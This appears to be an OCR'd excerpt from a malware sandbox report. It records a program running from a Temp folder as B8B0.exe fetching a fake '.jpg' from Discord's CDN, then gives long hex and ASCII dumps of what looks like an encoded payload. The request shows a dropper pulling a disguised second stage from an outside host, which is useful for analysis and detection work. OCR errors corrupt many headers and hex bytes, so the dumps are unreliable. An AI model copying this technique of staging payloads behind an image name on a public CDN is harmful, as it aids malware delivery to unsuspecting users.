162.159.134.233 443 C:\Users\user\AppData\Local\Temp\B8B0.exe

Data

GET /attachments/893177342426509335/902526114763767818/A623D0D3.jpg HTTP/1.1
Host: cdn.discordapp.com
Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Tue, 09 Nov 2021 21:21:48 GMT

Content-Type: image/jpeg

Content-Length: 1023400

Connection: close

CF-Ray: 6abal7c8bf016963-FRA

Accept-Ranges: bytes

Age: 1241204

Cache-Control: public, max-age=31536000

ETag: "a79ffe2a90ab83e54cd38dd94a2b6a6d"

Expires: Wed, 09 Nov 2022 21:21:48 GMT

Last-Modified: Tue, 26 Oct 2021 11:56:33 GMT

Vary: Accept-Encoding

CF-Cache-Status: HIT

Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Cf-Bgj: h2pri

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-goog-generation: 1635249393939568

x-goog-hash: crc32c=mLSBFQ==

x-goog-hash: md5=p5/+KpCrg+VM043ZSitghQ==

X-g00g-metageneration: 1

x-goog-storage-class: STANDARD

X-goog-stored-content-encoding: identity

X-goog-stored-content-length: 1023400

X-GUploader-UploadID: ADPycduXLAUOrhkOYYdjTYv8nzQOrUiGMROrg3qWR-Mu3t2dKo7sgrujSRwWPDi2ARPYG
wmCngDDiBBlucDgiDRky3RaTOEIS3w

X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp

Report-To: {"endpoints":[{"url":"https:\\V/a.nel.cloudflare.comVreport\v3?s=50UOkhR9pWpnZgv0jKBmpMWPGbE03PjL
5¢S%2BkukD048ebitCz9exEHMGo0x%2FDaMh2K7kiggvCvcedNWOoECtYehJwfFQTCH1t1z05KyI8y9MINSojTZgRB
fRIIFfiH17Sdmm%2Fw%3D%3D"}],"group”:"cf-nel”,"max_age":604800}

Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f
22 3a 22 63 66 2d 6e 65 6¢ 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63
6c 6f 75 64 66 6¢ 61 72 65 0d Oa 0d Oa

Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare

Data Raw: 78 4f 6f 45 4b 59 52 74 6b 51 2d 74 74 20 51 78 20 4f 4b 4b 20 78 20 45 20 78 20 78 20 78 20 4b 20 78 20 78
20 78 20 6f 59 59 20 6f 59 59 20 78 20 78 20 4f 6b 4b 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 52 4b 20 78 20 78 20
78207820 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78
20 7820 7820 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 4f 6f 6b 20 78 20 78 20 78 20 4f 4b 20
45 4f 20 4f 6b 52 20 4f 4b 20 78 20 4f 6b 78 20 51 20 6f 78 59 20 45 45 20 4f 6b 4b 20 4f 20 74 52 20 6f 78 59 20 45 45 20
6b 4b 20 4f 78 4b 20 4f 78 59 20 4f 4f 59 20 45 6f 20 4f 4f 6f 20 4f 4f 4b 20 4f 4f 4f 20 4f 78 45 20 4f 4f 4b 20 51 74 20 4f 78
51 20 45 6f 20 51 51 20 51 74 20 4f 4f 78 20 4f

Data Ascii: XOOEKYRtkQ-tt Qx OKK X E X X X K X X X 0YY 0YY X X OKK X X X X X X X RK X X X X X X X X X X X X X X X X X X X X
XXXXXXXXXXXXXXXO0kx xx OK EO OkR OK x Okx Q oxY EE OkK O tR oxY EE kK OxK OxY OOY Eo OOo OOK
000 OxE OOK Qt OxQ Eo QQ Qt OOx O

Data Raw: 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 6f 59 20 4b 78 20 6f 6f 51 20
4f 78 51 20 4f 4f 59 20 59 78 20 4b 6b 20 59 78 20 59 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 4b 52 20 4f 4b 45 20 59 78
20 4b 6b 20 4f 45 6b 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 4f 6f 20 59 78 20 59 4b
20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74
20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78
20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 74 52 20 59 78 20 59 4b
20 6b 4b 20 4f 6f 4b 20 4f 78 52

Data Ascii: X X X X X X X X X X X X X 0Y Kx 00Q OxQ OOY Yx Kk Yx Yx kk OOK OOt OKR OKE Yx Kk OEk YK kK OOK OOt
OxQ 000 Yx 000 Yx YK kk OOK OOt OxQ OO0 Yx Kk Yx YK kK OOK OOt OxQ OO0 Yx Kk Yx YK kk OOK OOt OxQ O
0o Yx Kk Yx YK kk OOK OOt OxQ OO0 Yx OtR Yx YK kK OoK OxR

Data Raw: 59 4f 20 59 4b 20 6b 4b 20 4f 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20
6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 6b 20 59 4b 20 6b 4b 20 4f 6b 20 51 4f 20 45 4f
20 45 20 52 4b 20 6b 45 20 59 78 20 59 4b 20 6b 4b 20 4f 74 6b 20 4f 4f 6b 20 4f 78 51 20 4f 4f 6f 20 59 78 20 6f 4b 78 20
59 4f 20 59 4b 20 6b 4b 20 4f 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 51 78 20 4b 51 20 59 78 20 59 4b 20 6b 4b 20
Af 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 59 45 20 4f 78 51
20 4f 4f 6f 20 4f 4f 4b 20 45 78 20 52 4b 20 6b 45 20 59 52 20 6f 51 20 6f 6f 20 4f 78 51 20 4f 4f 6f 20 52 6f 20 4b 6b 20 59
78 20 59 4b 20 6b 4b 20 4f 4b 52

Data Ascii: YO YK kK OOk OOt OxQ OO0 Yx Kk Yx YK kK OOK OOt OxQ OO0 Yx Kk Ok YK kK Ok QO EO E RK KkE Yx
YK kK Otk OOk OxQ OO0 Yx 0Kx YO YK kK OOk OOt OxQ OO0 OQx KQ Yx YK kK OOK OOt OxQ OO0 Yx Kk Yx YK kK
OOK YE OxQ OO0 OOK Ex RK kE YR 0Q 00 OxQ OO0 Ro Kk Yx YK kk OKR

Data Raw: 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f
74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59
78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b
20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74
20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78
20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20
6b 4b 20 4f 4f 4b 20 4f 4f

Data Ascii: OOK OOt OxQ OO0 Yx Kk Yx YK kk OOK OOt OxQ OO0 Yx Kk Yx YK kk OOK OOt OxQ OO0 Yx Kk Yx YK
kK OOK OOt OxQ 000 Yx Kk Yx YK kk OOK OOt OxQ OO0 Yx Kk Yx YK kk OOK OOt OxQ OO0 Yx Kk Yx YK kk OOK
OO0t OxQ 000 Yx Kk Yx YK kk OOK OOt OxQ OO0 Yx Kk Yx YK kk OOK OO
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kBytes
Timestamp transferred Direction Data

2021-11-09 21:21:48 UTC 6 IN Data Raw: 20 4f 4f 4b 20 59 20 45 4f 20 4b 4f 20 59 78 20 4b 6b 20 52 52 20 74 6f 20 74 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78
45 20 6b 6b 20 4b 59 20 4b 6b 20 59 78 20 52 78 20 6f 4b 52 20 6b 74 20 51 6b 20 45 4f 20 4f 20 59 78 20 4b 6b 20 52 52
20 52 6b 20 6f 59 4f 20 4f 4f 4b 20 4f 4f 74 20 6f 51 20 4f 4b 20 4b 4b 20 4b 6b 20 59 78 20 52 78 20 4f 6f 4b 20 4f 78 51
20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 4f 4b 4b 20 6f 4f 20 4b 6f 20 52 6b 20 4f 4b 74 20 4f 4f 4b 20 4f 4f 74 20 6f 51 20 6f
2059 45 20 4b 51 20 59 78 20 74 78 20 4b 6f 20 4f 78 6b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 52 20 4b 74 20 59 78 20
59 4b 20 51 4b 20 6f 78 6b 20 51 45 20 4f 45 45 20 4f 4f 6f 20 59 78 20 59 4b 20 51 45 20 6f 6f 20 6b 4b 20 4f 4f 4b 20 4f 6
f 74 20 51 74 20 74 6f 20 59 6f 20
Data Ascii: OOK Y EO KO Yx Kk RR to tK OOK OOt OxE kk KY Kk Yx Rx oKR kt Qk EO O Yx Kk RR Rk oYO OOK OOt
0Q OK KK Kk Yx Rx OoK OxQ OOt OxQ Ooo OKK 00 Ko Rk OKt OOK OOt 0Q o YE KQ Yx tx Ko Oxk OOt OxQ Ooo oR
Kt Yx YK QK oxk QE OEE OO0 Yx YK QE oo kk OOK Oot Qt to Yo

2021-11-09 21:21:48 UTC 8 IN Data Raw: 51 74 20 59 59 20 45 45 20 59 4b 20 6f 78 78 20 6b 6f 20 4f 52 4b 20 4f 4f 52 20 4f 78 51 20 4f 4f 6b 20 52 59
2045 78 20 59 78 20 59 4b 20 51 4b 20 4f 6f 20 4f 45 51 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 4f 20 45 4f 20 45 45 20 4f 4f
4b 20 4f 6f 20 4f 4b 6f 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 78 52 20 59 6f 20 6f 45 59 20 6b 59 20 4f 4f 4b 20 4f 4f 59 20
45 78 20 51 59 20 59 78 20 4b 6b 20 59 52 20 4f 51 20 6f 4f 6f 20 4f 4b 78 20 Af 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 52 20
59 4f 20 59 78 20 59 4b 20 4f 6f 74 20 6f 51 20 51 59 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 45 45 20 59 59 20 45 51 20 6b 78
20 4f 4b 78 20 4f 4f 59 20 4f 6b 52 20 4f 4f 45 20 59 78 20 59 4b 20 52 59 20 52 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 51
20 4f 4b 45 20 59 78 20 4b 6b 20
Data Ascii: Qt YY EE YK oxx ko ORK OOR OxQ OOk RY Ex Yx YK QK Oo OEQ OxQ OO0 YK 00 EO EE OOK Oo OKo
OxQ OO0 YK 0xR Yo oEY kY OOK OOY Ex QY Yx Kk YR OQ 000 OKx OOt OxQ OOR oR YO Yx YK Oot 0Q QY Oxk
000 Yo EE YY EQ kx OKx OOY OkR OOE Yx YK RY R kK OOK Oot OQ OKE Yx Kk

2021-11-09 21:21:48 UTC 9 IN Data Raw: 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 45 20 59 45 20 59 4b 20 52 45 20 6f 45 59 20 4f 6f 74 20 4f 4f 59 20 4f 4f
74 20 4f 78 51 20 4f 4f 4b 20 6f 52 20 59 52 20 59 78 20 59 4b 20 6b 6f 20 4f 6f 52 20 4f 4f 4b 20 45 78 20 6f 4f 51 20 59
78 20 4b 6b 20 59 6f 20 45 74 20 6b 78 20 51 51 20 4f 4f 45 20 4f 4f 45 20 6f 59 45 20 4f 78 4b 20 4b 6b 20 59 78 20 59 59
20 4f 4f 45 20 4f 52 6f 20 6f 6f 6f 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 4b 20 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 52 20 6b
59 20 4f 4f 6f 20 59 78 20 59 6b 20 51 45 20 4f 45 59 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 74 59 20 4f 78 6f 20 45 45 20 59 4
5 20 4f 78 20 6f 45 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 45 78 20 59 51 20 59 4f 20 4b 6b 20 59 6f 20 45 74 20 6b 6f 20
51 51 20 4f 4f 59 20 4f 6f 4b 20
Data Ascii: OOK OOt OxE QE YE YK RE oEY Oot OOY OOt OxQ OOK oR YR Yx YK ko OoR OOK Ex 00Q Yx Kk Yo Et
kx QQ OOE OOE oYE OxK Kk Yx YY OOE ORo 000 OxQ OO0 YK oK Y YK kK Oox R kY OO0 Yx Yk QE OEY kK OOK
OOY tY Oxo EE YE Ox 0EK kK OOK OOt Ex YQ YO Kk Yo Et ko QQ OOY OoK

2021-11-09 21:21:48 UTC 10 IN Data Raw: 4f 74 20 4f 78 51 20 4f 4f 6f 20 52 4f 20 4b 6b 20 59 78 20 59 59 20 74 51 20 52 52 20 4f 4f 59 20 4f 78 51 20
59 6f 20 4b 6b 20 4b 6b 20 59 78 20 59 45 20 6b 4b 20 4f 4f 4b 20 4f 78 78 20 45 78 20 74 51 20 59 78 20 4b 6b 20 59 52
20 52 78 20 6b 52 20 4f 4f 4f 20 6f 4b 6b 20 59 59 20 4f 4f 6f 20 59 78 20 4b 51 20 6f 45 20 6f 45 78 20 4f 4b 78 20 4f 4f 4b
20 4f 4f 74 20 4f 78 59 20 6b 6b 20 59 20 4b 6b 20 59 78 20 52 78 20 45 51 20 74 4b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20
6f 52 20 51 20 59 78 20 59 4b 20 51 4b 20 4f 6f 4f 20 4f 4f 4b 20 52 51 20 74 4b 20 59 78 20 4b 6b 20 59 52 20 6f 74 20 6b
45 20 4f 4f 52 20 4f 6f 78 20 4f 74 52 20 51 52 20 4b 6b 20 4b 6b 20 59 78 20 59 6f 20 4f 6f 4b 20 4f 6f 6f 20 4f 4f 74 20 4f
78 51 20 4f 4f 6b 20 52 6f 20 59 59
Data Ascii: Ot OxQ OO0 RO Kk Yx YY tQ RR OOY OxQ Yo Kk Kk Yx YE kK OOK Oxx Ex tQ Yx Kk YR Rx kR OO0 oKk
YY OO0 Yx KQ oE 0Ex OKx OOK OOt OxY kk Y Kk Yx Rx EQ tK OOt OxQ Ooo oR Q Yx YK QK 00O OOK RQ tK Yx Kk
YR ot KE OOR Oox OtR QR Kk Kk Yx Yo OoK Ooo OOt OxQ OOk Ro YY

2021-11-09 21:21:48 UTC 12 IN Data Raw: 52 74 20 4f 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 51 45 20 4f 4f 6f 20 59 78 20 59 4b 20 51 45 20 4f
45 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 6f 20 74 6f 20 59 4f 20 4b 6b 20 59 6f 20 45 51 20 6b 45 20 51 51 20 4f 4f 45 20 4f
6f 4b 20 4f 4f 74 20 4b 59 20 52 45 20 4f 51 4f 20 4f 78 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 74 6f 20 4f 52 78 20 4f 59 59
20 4b 6b 20 59 78 20 59 78 20 4f 6f 4b 20 52 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 52 59 20 6b 20 59 78 20 59 4b 20 51
4b 20 6f 51 20 6f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 59 52 20 6f 52 20 4b 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 6f 20
74 4b 20 59 4f 20 4b 6b 20 59 6f 20 45 51 20 6b 45 20 51 74 20 4f 4f 59 20 4f 6f 4b 20 4f 4f 6b 20 51 45 20 59 20 59 4f 20
59 4b 20 6b 6f 20 4f 78 78 20 45
Data Ascii: Rt Ox YK kK Oox oR OQE OO0 Yx YK QE OE kK OOK Oot o to YO Kk Yo EQ kE QQ OOE OoK OOt KY RE
0QO Oxk kk OOK OOR to ORx OYY Kk Yx Yx OoK RQ OOt OxQ Ooo RY k Yx YK QK 0Q 00t OxQ OO0 Yo YR oR Kk
kK OOK OOQY o tK YO Kk Yo EQ kE Qt OOY OoK OOk QE Y YO YK ko Oxx E

2021-11-09 21:21:48 UTC 13 IN Data Raw: 20 4f 4f 6f 20 59 52 20 52 74 20 4f 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 51 45 20 4f 4f 6f 20 59 78 20
59 4b 20 51 45 20 4f 45 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 6f 52 20 4f 4f 51 20 45 59 20 59 59 20 4b 45 20 4f 6b 74 20
4f 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 6b 59 20 6f 6f 52 20 4f 59 51 20 59 78 20 59 4b 20 6b 78 20 51 78 20 52 52 20
4f 78 51 20 4f 4f 6f 20 59 52 20 52 74 20 4f 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4b 59 20 4f 4f 6f 20 59 78 20 59
6b 20 45 4f 20 4b 4f 20 52 51 20 4f 4f 74 20 4f 78 6b 20 6f 6f 4b 20 4b 6f 20 59 78 20 4b 6b 20 59 4f 20 4f 51 20 4f 45 6f 20
4f 4b 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 52 20 74 20 59 78 20 59 4b 20 51 4b 20 4f 20 74 74 20 4f 78 51 20 4f 4f 6f
20 59 52 20 51 59 20 4f 4f 4b
Data Ascii: 000 YR Rt Ox YK kK Oox oR OQE OO0 Yx YK QE OE kK OOK Oot OoR OOQ EY YY KE Okt OK OOK OOt
Oxk KY 00R OYQ Yx YK kx Qx RR OxQ OO0 YR Rt Ox YK kK Oox oR KY OO0 Yx Yk EO KO RQ OOt Oxk 00K Ko Yx Kk
YO OQ OEo OKK OOt OxQ OOR 0R t Yx YK QK O tt OxQ OO0 YR QY OOK

2021-11-09 21:21:48 UTC 14 IN Data Raw: 20 6f 59 45 20 4f 78 4b 20 4b 6b 20 59 78 20 59 59 20 4f 4f 45 20 4f 52 6f 20 4f 59 74 20 4f 78 51 20 4f 4f 6f 20
59 4b 20 6f 4b 20 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 52 20 6b 59 20 4f 4f 6f 20 59 78 20 59 6b 20 51 45 20 4f 59 4b 20
6b 4b 20 4f 4f 4b 20 4f 4f 59 20 4f 78 4f 20 6b 6b 20 59 6f 20 4b 6b 20 59 78 20 4b 6b 20 45 6b 20 4f 20 4f 4f 51 20 4f 78
5120 78 20 74 52 20 4b 52 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 4f 78 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 45 59 20
59 45 20 52 51 20 4f 52 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 51 51 20 59 6b 20 45 45 20 59 6b 20 45 51 20 6b 78 20 51
51 20 4f 4f 6f 20 4f 4f 4b 20 4f 6f 4b 20 4f 51 4f 20 4f 78 52 20 59 78 20 59 4b 20 6b 59 20 6b 74 20 4f 52 59 20 6f 78 45
20 4f 4f 6f 20 59 78 20 59 6f 20 6f 52 20 4f
Data Ascii: 0YE OxK Kk Yx YY OOE ORo OYt OxQ OOo YK oK Y YK kK Oox R KY OO0 Yx Yk QE OYK kK OOK OOY
OxO kk Yo Kk Yx Kk Ek O O0Q OxQ x tR KR Yx YK QK 0Q OxR OxQ OOo YR EY YE RQ OR OOY OOt Oxt QQ Yk EE
Yk EQ kx QQ OO0 OOK OoK OQO OxR Yx YK kY kt ORY oxE OO0 Yx Yo oR O

2021-11-09 21:21:48 UTC 16 IN Data Raw: 20 4f 20 4f 20 59 74 20 6b 74 20 51 78 20 52 6f 20 4f 78 51 20 4f 4f 6f 20 59 52 20 59 78 20 6f 52 20 4b 78 20
6b 4b 20 4f 4f 4b 20 4f 4f 59 20 4f 78 45 20 51 4f 20 52 78 20 59 78 20 45 52 20 45 4b 20 4f 6f 4b 20 6b 4b 20 4f 4f 74 20
4f 78 51 20 4f 4f 6b 20 51 45 20 4f 4f 20 59 78 20 59 4b 20 51 4b 20 4f 6f 78 20 4f 74 4f 20 4f 4f 78 20 6b 52 20 6f 45 52
20 4b 6b 20 59 6f 20 6f 6b 20 6b 59 20 51 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 59 4b 20 59 78 20 45 20 4f 4f
4f 20 4f 4f 4b 20 4f 4f 6b 20 51 6b 20 4f 4f 6f 20 59 78 20 4b 51 20 45 45 20 52 20 6b 52 20 4f 4f 4b 20 6b 6f 20 4f 78 51 20
4f 4f 6 20 59 78 20 59 59 20 59 78 20 59 4b 20 52 51 20 4f 78 4f 20 4f 6f 74 20 4f 4f 4f 20 45 4f 20 4f 6f 52 20 4b 6b 20 59
78 20 52 78 20 51 59 20 6b 51 20
Data Ascii: O O Yt kt Qx Ro OxQ OO0 YR Yx oR Kx kk OOK OOY OxE QO Rx Yx ER EK OoK kK OOt OxQ OOk QE OO
Yx YK QK Oox OtO OOx kR oER Kk Yo ok kY Qk OOt OxQ OO0 Yx YK Yx E OOO OOK OOk Qk OO0 Yx KQ EE R kR
OOK ko OxQ 000 Yx YY Yx YK RQ OxO Oot OOO EO OoR Kk Yx Rx QY kQ
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kBytes
Timestamp transferred Direction Data

2021-11-09 21:21:48 UTC 17 IN Data Raw: 20 52 78 20 4f 45 6b 20 4f 4f 45 20 6b 45 20 4f 74 51 20 4f 4f 6f 20 6f 45 52 20 59 4f 20 6f 78 20 6f 45 6f 20 6b
4b 20 4f 4f 52 20 51 59 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 4f 45 20 52 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4 78
51 20 4f 4f 6f 20 59 74 20 4b 51 20 59 78 20 59 4b 20 74 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 6b 45 20 59 4f 20 4b 6b
20 59 78 20 59 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 51 6b 20 4f 4f 6f 20 59 78 20 4b 51 20 59 78 20 59 4b 20 6b 4b 20 4f
Af 4b 20 4f 6f 4f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 4b 20 59 4f 20 59 4b 20 6b 4b 20 51 78 20 4f 4f 52 20 4f 78 51 20 4f
4f 6f 20 4b 51 20 4b 6b 20 59 78 20 59 4b 20 51 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 4f 78 74 20 6f 20 59 4f 20 59 78
20 74 59 20 6b 4b 20 4f 4f 4b
Data Ascii: Rx OEk OOE kE OtQ OOo oER YO ox oEo kk OOR QY OxQ OO0 Yx OOE R YK kK OOK OOt OxQ OOo Yt
KQ Yx YK tR OOK OOt OxQ KE YO Kk Yx YE kK OOK OOt Qk OO0 Yx KQ Yx YK kk OOK 000 OxQ OO0 Yx KK YO YK
kK Qx OOR OxQ 000 KQ Kk Yx YK QK OOK OOt Oxk Oxt 0 YO Yx tY kk OOK

2021-11-09 21:21:48 UTC 18 IN Data Raw: 20 4f 4f 6f 20 4b 51 20 59 6b 20 59 78 20 59 4b 20 6b 59 20 4f 78 59 20 52 51 20 4f 78 59 20 4f 4f 6f 20 4f 4f 4b
20 4b 51 20 59 78 20 59 4b 20 51 59 20 4f 4f 4b 20 4f 4f 74 20 4f 6f 4b 20 45 20 4f 6f 4f 20 4b 51 20 59 78 20 4b 6b 20 51
4b 20 4f 4f 6f 20 6f 52 20 59 6f 20 4f 4f 6f 20 59 78 20 59 6b 20 51 45 20 4f 78 51 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78
6f 20 74 6f 20 4f 4b 59 20 4b 6b 20 59 78 20 59 4b 20 6b 45 20 6f 51 20 4f 6f 6f 20 4f 78 51 20 4f 4f 6f 20 59 52 20 52 6b
20 45 74 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 6f 4f 20 4f 78 4f 20 45 4f 20 4f 4f 78 20 4b 6b 20 59 78 20 52 78 20 45 6b 20 6
f4b 74 20 4f 4f 51 20 4f 78 51 20 78 20 6f 52 20 4f 78 51 20 59 78 20 59 4b 20 51 4b 20 51 4b 20 4f 6f 4f 20 4f 78 74 20 4f
6f 78 20 51 45 20 4f 4f 78 20
Data Ascii: 000 KQ Yk Yx YK kY OxY RQ OxY OO0 OOK KQ Yx YK QY OOK OOt OoK E 000 KQ Yx Kk QK OOo oR
Yo OO0 Yx Yk QE OxQ kK OOK Oot Oxo to OKY Kk Yx YK kE 0Q Ooo OxQ OO0 YR Rk Et YK kk OOY 000 OxO EO O
Ox Kk Yx Rx Ek oKt O0OQ OxQ x oR OxQ Yx YK QK QK 000 Oxt Oox QE OOx

2021-11-09 21:21:48 UTC 20 IN Data Raw: 59 78 20 59 78 20 4f 4f 45 20 51 59 20 51 6b 20 74 59 20 4f 4b 20 59 4f 20 4b 51 20 59 78 20 59 78 20 4f 74 78
20 4f 4f 52 20 4f 59 4f 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 52 74 20 4b 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6b 78 20 6f 45 74
20 4f 4f 4b 20 59 4f 20 4b 6b 20 59 4b 20 45 78 20 6b 59 20 4f 4f 4b 20 4f 4f 74 20 74 78 20 45 4f 20 4b 52 20 4b 6b 20 59
78 20 52 78 20 51 59 20 74 4b 20 52 4b 20 4f 78 6b 20 4f 4f 6f 20 59 78 20 59 59 20 51 45 20 4b 45 20 6b 4b 20 4f 4f 4b
20 4f 6f 74 20 51 74 20 4f 6f 78 20 4b 6f 20 45 51 20 45 74 20 4f 6b 74 20 4f 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 6b 59
20 45 52 20 4b 74 20 4b 6f 20 4f 6b 74 20 4f 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 6b 59 20 6f 6f 52 20 6f 4b 4b 20 59 7
82059 4b 20 6b 78 20 51 78 20 52
Data Ascii: Yx Yx OOE QY Qk tY OK YO KQ Yx Yx Otx OOR OYO Oxk OO0 Yo Rt Kx YK kK Oox kx oEt OOK YO Kk YK
Ex kY OOK OOt tx EO KR Kk Yx Rx QY tK RK Oxk OO0 Yx YY QE KE kK OOK Oot Qt Oox Ko EQ Et Okt Oo OOK OOt
Oxk kY ER Kt Ko Okt OK OOK OOt Oxk kY 00R oKK Yx YK kx Qx R

2021-11-09 21:21:48 UTC 21 IN Data Raw: 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 74 6f 20 4f 78 51 20 4f 4f
6f 20 59 78 20 6f 74 20 59 4f 20 59 4b 20 6b 4b 20 6f 52 20 4f 4f 52 20 4f 78 51 20 4f 4f 6f 20 4b 51 20 4b 6b 20 59 78 20
59 4b 20 51 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 4f 4f 4b 20 59 78 20 4b 6b 20 59 78 20 74 20 6b 4b 20 4f 4f 4b 20 4f
4f 74 20 4b 6f 20 4f 4f 45 20 59 78 20 4b 6b 20 74 4b 20 59 59 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 51 20 4f 4f 6f 20 59
78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 4b 6b 20 59 78 20 59 4b
20 4b 6f 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 6f 4b 4b 20 59 4f 20 4b 6b 20 59 78 20 59 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 74
20 51 6b 20 4f 4f 6f 20 59 78
Data Ascii: t OxQ 000 Yx Kk Yx YK kK OOK to OxQ OO0 Yx ot YO YK kK oR OOR OxQ OO0 KQ Kk Yx YK QK OOK OOt
Oxk OOK Yx Kk Yx t kk OOK OOt Ko OOE Yx Kk tK YY kK OOK Oot OxQ OO0 Yx Kk Yx YK kk OOK OOt OxQ OO0 Yo
Kk Yx YK Ko OOY OOt OxQ oKK YO Kk Yx YE kk OOK OOt Qk OO0 Yx

2021-11-09 21:21:48 UTC 22 IN Data Raw: 4f 4f 6f 20 59 78 20 59 4b 20 51 45 20 4f 45 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 52 51 20 4b 51 20 59 78 20 4b
